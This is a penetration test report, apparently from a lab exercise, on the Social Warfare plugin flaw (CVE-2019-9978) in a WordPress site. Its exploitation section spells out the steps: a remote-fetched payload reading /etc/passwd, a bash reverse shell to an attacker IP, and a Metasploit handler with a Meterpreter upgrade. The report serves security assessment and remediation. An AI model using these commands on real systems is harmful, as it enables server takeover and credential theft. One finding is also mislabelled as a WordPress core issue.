Overview

PENETRATION TEST REPORT

for

MEGAQUAGGA PUBLISHING

Version 1.0 (10/15/25)

Prepared by **Brandon Cavalier**

Presented to **MEGAQUAGGA PUBLISHING**

DISCLAIMER: This document contains proprietary and confidential information. 0x2A SECURITY guarantees the confidentiality of the information and any other material that has or will be disclosed during the performance of this service. A mutual non-disclosure agreement of confidential information is assumed between 0x2A SECURITY and MEGAQUAGGA PUBLISHING, limiting the use of confidential information exclusively for purposes associated with properly delivering this service.

EXECUTIVE SUMMARY

A security review of the MegaQuagga web application has identified significant risks stemming from outdated and insecure components. Our findings indicate that the website is running on an old version of WordPress, along with outdated themes and plugins. These outdated components are publicly known to have security vulnerabilities that can be easily exploited by attackers.

One of the most serious findings is an outdated "Social Warfare" plugin, which is used to manage social media sharing. This plugin has a known security flaw that could allow an attacker to gain full control over the website. This could lead to a complete data breach, where sensitive information is stolen, or the website could be shut down or altered to display malicious content. This poses a direct and immediate threat to the website's integrity and our reputation.

To address these issues and protect the website, we recommend an urgent upgrade of the WordPress core, themes, and all installed plugins to their latest versions. Furthermore, we must disable the XML-RPC service, as it is a major security weakness. Taking these steps will significantly reduce our exposure to attacks, prevent data breaches, and ensure the website remains a secure and reliable asset for the organization.

Scope

SCOPE

The scope of this assessment defines the boundaries and limitations of the penetration test to ensure clarity and compliance. This section outlines the specific target systems evaluated, their associated parameters, and the exclusions and restrictions applied during the engagement.

This document explains what our security test will and will not cover. My goal is to test your website just like a real-world attacker might, so we can find any weak spots and help you fix them before they can be exploited.

I will be focusing specifically on your main website, www.megaquagga.local, and the services it uses. The test will only involve systems that are directly connected to this website. Anything else, such as your internal network, other company websites, or third-party services, is considered out of scope for this assessment.

My testing will be done with a clear set of rules. I will only try to demonstrate risks, not cause any damage. I will not use techniques that could overload your systems (like Denial of Service attacks) or try to guess passwords by brute force, unless you give us special permission first. Most importantly, I will not destroy or change any of your company's data. My purpose is to identify and report security risks without causing any disruption to your business operations.

✅ Methodology

METHODOLOGY

This section describes the systematic approach followed during the penetration testing process. Each step is critical to ensure thorough evaluation of the target systems while adhering to ethical and procedural standards. The methodology is divided into several phases:

Pre-Engagement and Planning:

The initial scope of the penetration test was defined to include primary objectives, target systems, and specific limitations.The penetration test I am conducting on the web server at www.megaquagga.local is focused on validating the vulnerabilities I previously found. My main goals are to determine if these vulnerabilities can be exploited in a real-world attack, understand the potential impact on your business, and provide you with clear, actionable steps to fix them. The scope of my work is strictly limited to the public-facing website and its associated services, and I will not perform any tests that could harm the system or destroy data.

Information Gathering (Reconnaissance):

During the initial phase of our security review, I identified that the company's main web application, located at http://www.megaquagga.local, is not using a secure, encrypted connection (HTTPS). This means that any information sent to or from the website is not protected and could be vulnerable to interception.

After gaining authorized access to the firewall, we were able to change a security rule. This change allowed a simple test, confirming that we could successfully alter the network's security settings.

Scanning:

To identify potential security weaknesses, I performed a scan of the network. This process allowed me to map out the network's layout and see the different systems and

services running on it. I also used a specialized security tool (Metasploit) to organize and manage the data I collected, which helps me efficiently analyze the findings and prepare recommendations for improving your security.

Exploitation:

A security scan of the website revealed multiple critical vulnerabilities, specifically within the social-warfare plugin. This included a type of weakness that could allow a hacker to inject malicious code into the site, as well as a more severe flaw that could give them complete control over the web server. To confirm the risk, a controlled and simulated test was conducted. The test successfully demonstrated that these vulnerabilities could be exploited to gain unauthorized access, which highlights a serious threat to the integrity and security of the system.

Post-Exploitation:

Following the successful demonstration of a security flaw, I was able to gain a deeper understanding of the compromised system. By obtaining access, I collected a detailed profile of the server, including its internal network location, the type of operating system it uses, and its overall architecture. This information is crucial for an attacker as it provides a digital blueprint of the environment, which can then be used to plan further attacks or move deeper into the network. This highlights the severe risk posed by the initial vulnerability.

Reporting:

Based on my security assessment, I successfully identified and exploited significant vulnerabilities on your web server at www.megaquagga.local. I found that the website is not using a secure, encrypted connection (HTTPS), making data vulnerable to interception. After gaining authorized access, I was able to alter a firewall rule to map out your internal network, exposing its layout and identifying various systems and

services. Most critically, I discovered and demonstrated that flaws in the social-warfare plugin could allow an attacker to inject malicious code or even gain full control of your web server. This successful compromise allowed me to collect detailed information about the system, confirming the severe risk and highlighting how these vulnerabilities could be used to launch further attacks and cause widespread damage.

📚 Findings

FINDINGS

This section presents the vulnerabilities identified during the penetration test, along with their potential impact and evidence collected. The findings are categorized by severity to assist in prioritizing remediation efforts.

CRITICAL VULNERABILITIES

This section describes critical vulnerabilities discovered during this assessment.

Vulnerability	**Outdated WordPress Core Version**
CVE	CVE-2019-9978
Severity	Medium (CVSS SCORE: 6.1)
OWASP Top 10	A03 (Injection)
Risk	High Risk; PUBLICLY-AVAILABLE EXPLOITS EXIST
Steps to exploit	1. Search for publicly available exploits 2. Create a payload 3. Set up your own simple web server 4. Visit: http://WEBSITE/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_HOST/payload.txt 5. Test payload. Content of /etc/passwd will be returned 6. Set up reverse shell
Evidence	+] social-warfare | Location: http://www.megaquagga.local/wp-content/plugins/social-warfare/ | Last Updated: 2024-09-17T20:18:00.000Z | [!] The version is out of date, the latest version is 4.5.4 | | Found By: Urls In Homepage (Passive Detection) | Confirmed By: | Urls In 404 Page (Passive Detection) | Comment (Passive Detection) |

	| Version: 3.5.2 (100% confidence) | Found By: Comment (Passive Detection) | - http://www.megaquagga.local/, Match: 'Social Warfare v3.5.2' | Confirmed By: | Query Parameter (Passive Detection) | - http://www.megaquagga.local/wp-content/plugins/social-warfare/assets/css/style.min.css?ver=3.5.2 | - http://www.megaquagga.local/wp-content/plugins/social-warfare/assets/js/script.min.js?ver=3.5.2 | Readme - Stable Tag (Aggressive Detection) | - http://www.megaquagga.local/wp-content/plugins/social-warfare/readme.txt | Readme - ChangeLog Section (Aggressive Detection) | - http://www.megaquagga.local/wp-content/plugins/social-warfare/readme.txt

EXPLOITATION AND POST-EXPLOITATION

The exploitation phase involved leveraging identified vulnerabilities to compromise the target systems, followed by post-exploitation activities to assess the potential impact. This section provides a detailed account of the actions taken.

EXPLOITATION PHASE

- Choose an appropriate exploit for the vulnerability-social-warfare
- Create a payload .txt file and host it on a location accessible by a targeted website. Payload content : "<pre>system('cat /etc/passwd')</pre>"
- Set up your own simple web server. Use terminal command:
  python3 -m http.server
- Test the payload. Visit:
  http://WEBSITE/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_HOST/payload.txt

- Modify the previous payload .txt to execute a reverse shell with: <pre>exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.100.20/443 0>&1'");</pre>
- Configure a handler. Open a new terminal and load metasploit: msfconsole
- Use the following command to do this: `use multi/handler`
- Use command: `set lhost` ***Your IP Address***
- Use command: `set lport 443`
- Use command: `exploit -j`
- Open a browser window.Visit the XSS URL: `http://www.megaquagga.local/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.100.20:8000/payload.txt`
- Return to the terminal. Output should look something like this: `msf6 exploit(multi/handler) >`
  `[*] Started reverse TCP handler on 192.168.100.20:443`
  `[*] Command shell session 1 opened (192.168.100.20:443 -> 192.168.100.254:29403) at 2025-01-25 09:52:55 -0500`
- Once the payload executes, Metasploit handler's Terminal window indicates a new connection ("session") has been created: `[*] Command shell session 1 opened (192.168.100.20:443 -> 192.168.100.254:29403) at 2025-01-25 09:52:55 -0500`
- Check the active sessions with this command: `sessions -i`
- Begin interacting with command: `sessions -i 1`
- Run command: `whoami` to discover where your shell landed and user privilege.

POST-EXPLOITATION PHASE

- Upgrade your shell to a Meterpreter implant. Enter command: `background`
  When prompted: `Background session 1? [y/N]` Press Y
- Enter command: `sessions -u 1`
- Verify new session with command: `sessions -l`
- Interact with the Meterpreter implant with command: `sessions -i 2`
- Run command: `sessions -i 2`
- This will provide you with information for Computer, OS, Architecture, BuildTuple, and Meterpreter.

🩺 Recommendations

RECOMMENDATIONS

This section outlines the recommended actions to address the identified vulnerabilities and enhance the security posture of the target systems. Implementing these measures will help mitigate risks and prevent potential exploitation.

Recommendation #1: **Immediately update the Social Warfare plugin**

Update to version 3.5.3 or later. This version contains a patch that directly addresses the cross-site scripting (XSS) and remote code execution (RCE) flaws.

Recommendation #2: **Web Application Firewall (WAF)**

Implement a WAF to detect and block malicious requests that attempt to exploit this and similar vulnerabilities. A WAF can provide a layer of protection by filtering out known attack patterns.

Recommendation #3: **Principle of Least Privilege**

Restrict user permissions on the server to prevent any unnecessary access that could be leveraged by an attacker.

📍 Conclusion

CONCLUSION

Your web application has a high-risk, publicly known vulnerability in the outdated Social Warfare plugin that allows an attacker to take complete control of the server. To urgently mitigate this risk, you must immediately update the plugin to version 3.5.3 or later, which contains the necessary security patches.